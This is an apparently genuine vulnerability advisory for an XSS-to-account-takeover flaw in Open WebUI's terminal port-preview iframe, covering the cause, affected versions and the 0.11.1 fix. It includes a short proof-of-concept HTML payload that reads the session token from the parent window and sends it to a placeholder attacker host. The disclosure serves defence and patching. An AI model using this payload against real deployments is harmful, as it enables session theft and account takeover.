high · 8.7CVE-2026-87995Sep 10, 2026

CVE-2026-87995: Open WebUI Same-Origin XSS to Account Takeover via Terminal Port-Preview iframe

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A hardcoded allow-same-origin in Open WebUI's terminal port-preview iframe let any authenticated user with shared terminal access steal session tokens and take over accounts by serving a malicious…

Packageopen-webui
Ecosystempip
Affected>= 0.8.11, <= 0.11.0
Fixed in0.11.1
CVE-2026-87995: Open WebUI Same-Origin XSS to Account Takeover via Terminal Port-Preview iframe

The problem

In Open WebUI 0.8.11 through 0.11.0, src/lib/components/chat/FileNav/PortPreview.svelte renders the content of a terminal port in an iframe whose sandbox attribute always included both allow-scripts and allow-same-origin.

The terminal proxy serves previewed content under the application's own origin. Combining allow-scripts with allow-same-origin on a same-origin document completely defeats iframe sandboxing: the framed script can access the parent window, read localStorage, and make authenticated API calls as the victim.

If the victim is an admin or holds workspace.functions, the takeover escalates to server-side code execution via Functions.

Proof of concept

A working proof-of-concept for CVE-2026-87995 in open-webui, with the exact payload below.

javascript
<!-- Serve this HTML on any port accessible via the shared terminal server.
     Victim opens the port list in Open WebUI's file navigator and clicks the port.
     The preview iframe loads this page at the application origin.
     Both allow-scripts and allow-same-origin are set, so the script
     can read window.parent.localStorage.token directly. -->
<!DOCTYPE html>
<html>
<body>
<script>
  const token = window.parent.localStorage.getItem('token');
  fetch('https://attacker.example.com/steal?t=' + encodeURIComponent(token));
</script>
</body>
</html>

The root cause is CWE-1021 (Improper Restriction of Rendered UI Layers or Frames) combined with CWE-79 (XSS). The HTML spec is explicit: an iframe with both allow-scripts and allow-same-origin on a same-origin document provides no isolation, because the script can remove or rewrite the sandbox attribute itself and can access the parent context freely.

Every other preview iframe in the codebase had already been moved to an opt-in allow-same-origin model in 0.11.0, but PortPreview.svelte was missed. The terminal proxy also forwarded the upstream Content-Type without injecting a Content-Security-Policy unless the operator had configured TERMINAL_PROXY_HEADERS, making the sandbox the sole isolation boundary and it was already dissolving it.

Commit 54d7a223707f removes the static allow-same-origin token from the sandbox string and replaces it with a conditional keyed on a new terminalPreviewAllowSameOrigin user setting, which is false by default. With that flag off, the preview loads at an opaque origin and cannot reach window.parent or localStorage.

The fix

Upgrade to open-webui 0.11.1. No configuration change is required. The patched iframe omits allow-same-origin by default, so previewed content loads at an opaque origin and is fully isolated. Users who need same-origin access for a specific preview can enable the terminalPreviewAllowSameOrigin setting in their own account, accepting the risk explicitly.

Deployments with no TERMINAL_SERVER_CONNECTIONS configured were never affected.

Reported by zx / Jace (@manus-use).

References: [1][2][3][4][5]

Related research